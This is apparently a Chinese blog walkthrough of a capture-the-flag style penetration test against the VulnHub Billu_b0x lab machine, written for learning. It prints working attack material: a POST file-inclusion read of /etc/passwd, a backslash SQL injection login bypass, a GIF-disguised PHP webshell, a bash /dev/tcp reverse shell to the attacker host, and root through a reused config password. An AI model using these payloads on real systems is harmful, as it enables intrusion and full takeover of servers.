【Billu_bOx1靶机的完整详细渗透测试附靶机下载链接】

本文记录了Billu_bOx1靶机的完整详细渗透测试过程,包括信息收集、漏洞发现、获取shell以及提权至root的方法。

靶机下载链接:https://download.vulnhub.com/billu/Billu_b0x.zip

靶机名称:Billu_bOx1

测试时间:2026/3/27

注意打开靶机前要把靶机设置为NAT模式

如果遇到查找不到靶机的情况,参考这篇文章的开头部分:
https://blog.csdn.net/uhszjhshdjsjsj/article/details/159168830?spm=1001.2014.3001.5501

一.概述

  • 查询攻击机(kali)IP:
bash 复制代码
ifconfig

得到攻击机(kali)IP:192.168.253.166

  • 查询靶机IP:
bash 复制代码
nmap -sn 192.168.253.00/24或netdiscover -r 192.168.253.00/24

得到靶机IP:192.168.253.178

二. 信息收集

    1. 扫描全部端口
bash 复制代码
nmap -A -p 1-64000 192.168.253.178

得到开放端口有

22:用于ssh登录

80:网页默认的 HTTP 端口

    1. Web网页目录扫描:
bash 复制代码
dirb http://192.168.253.178     或者

dirsearch -u http://192.168.253.178 -x 404,403,400

有许多目录,待会我们再仔细看看

    1. web指纹识别
bash 复制代码
 whatweb  http://192.168.253.178
    1. 打开网页收集信息
      直接访问192.168.253.178

      一个登录页面,add页面则是上传文件页面

      试了一下上传不成功,可能要登录才能成功
      访问test目录页面

      他说file参数为空,所以我们尝试文件包含,
      访问http://192.168.253.178/test?file=../../../../../../../../etc/passwd没回显,改成POST方法才行,我用burp改成POST成功回显

      或者用curl --data "file=../../../../../../../../../../etc/passwd" 192.168.253.178/test也可以回显

不过没得到什么信息,我们看看初始页面源代码

bash 复制代码
curl --data "file=index.php" 192.168.253.178/test

对源码审计发现登录页面过滤了单引号,既然知道源码我们就去进行sql注入,输入用户名:or 1=1 #,密码:\(因为\'会被转义成字符,所以根据源码sql语句select * from auth where pass='\' and uname='or 1=1,其中\'被转义为一个字符,所以分为pass='\' and uname='部分和or 1=1部分,所以恒真)即可成功登录

这是登录后的页面,我们尝试上传图片马,创建一个.jpg文件然后编辑内容

bash 复制代码
GIF89a
<?php system($_POST['cmd']); ?>

注意要post方法才行,我最开始用GET是不行的,然后点击ADD USERS上传就行了,用burp抓包,把底下的load=show&continue=continue改成load=/uploaded_images/8.jpg&continue=continue&cmd=ls即可执行命令

那我们就把cmd命令换成反弹shell命令即可(记得进行url编码)

先在终端监听

bash 复制代码
nc -lnvp 1234

然后更改cmd命令

bash 复制代码
bash -c "bash -i >& /dev/tcp/192.168.253.166/1234 0>&1"

监听成功

三. 漏洞发现与利用

Web漏洞

漏洞类型:文件包含漏洞;sql注入漏洞;文件上传漏洞

利用过程:

  1. 文件包含查看初始页面源码,知道初始页面存在漏洞
  2. 根据源码进行sql注入成功登录
  3. 上传图片马成功执行命令,进而执行反弹shell命令

四. 权限提升

获得一个交互性更好的bash

bash 复制代码
python -c 'import pty; pty.spawn("/bin/bash")'

id或whoami查看自己身份

查看内核版本

bash 复制代码
uname -a

查看当前目录

bash 复制代码
ls

进入phpmy目录

bash 复制代码
cd phpmy

再查看目录下文件

bash 复制代码
ls

发现数据库文件config.inc.php,我们查看文件内容

bash 复制代码
cat config.inc.php

得到一个用户名和密码,尝试登录

bash 复制代码
su root

输入刚才得到的密码:roottoor

成功得到root权限

五.总结与反思

本次测试主要难点:

  1. 代码审计与 SQL 注入绕过:通过文件包含漏洞读取 index.php 源码,发现登录逻辑中过滤了单引号但未过滤反斜杠。需要理解 SQL 语句拼接方式,并构造特殊的用户名 or 1=1 # 和密码 \ 来绕过验证。

  2. 图片马上传与命令执行:登录后找到上传点,需要构造包含 PHP 代码的图片马,并利用 POST 参数执行系统命令。

  3. 配置文件中提取密码提权:获得低权限 shell 后,在 /phpmy/config.inc.php 中发现数据库密码,并尝试用该密码切换至 root 用户

学到的技巧:

  1. 文件包含读取源码:巩固了利用文件包含漏洞读取 PHP 源码的方法,为后续代码审计提供基础。
  2. SQL 注入绕过技巧:掌握了在过滤单引号的情况下,利用反斜杠转义和注释符进行 SQL 注入的方法。
  3. 图片马制作与利用:学会了制作包含 PHP 代码的图片马,并通过 POST 参数执行系统命令。
  4. 敏感配置文件信息收集:提高了对常见配置文件(如 config.inc.php)的敏感性,并懂得将数据库密码尝试用于系统用户提权。
  5. 密码复用提权:理解了在多个服务(如数据库、系统)中使用相同密码的风险,并利用该弱点完成提权。

该靶机漏洞总结:

本次渗透的入口是 80 端口 Web 服务中的文件包含漏洞,通过该漏洞读取 index.php 源码,发现登录页面的 SQL 注入点。利用 SQL 注入绕过登录后,在文件上传点上传图片马,并通过 POST 参数执行系统命令获得初始 shell。随后在 Web 目录下发现 phpmy 文件夹中的数据库配置文件 config.inc.php,提取出数据库密码(同时也是 root 密码),用 su root 成功提权。

相关推荐
treesforest5 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
零零信安5 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
上海云盾第一敬业销售5 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手5 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub5 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
zhengfei6115 天前
小白级手册——全面剖析红队信息收集思考
网络·安全·web安全
爱网络爱Linux5 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
xsc-xyc5 天前
用 Tailscale + Syncthing 实现手机、电脑与 NAS 的跨网络文件同步
linux·网络·网络安全·智能手机·电脑
持敬chijing5 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
顾凌陵5 天前
Web安全二阶段综合测试:知识点速查与实战技巧
安全·web安全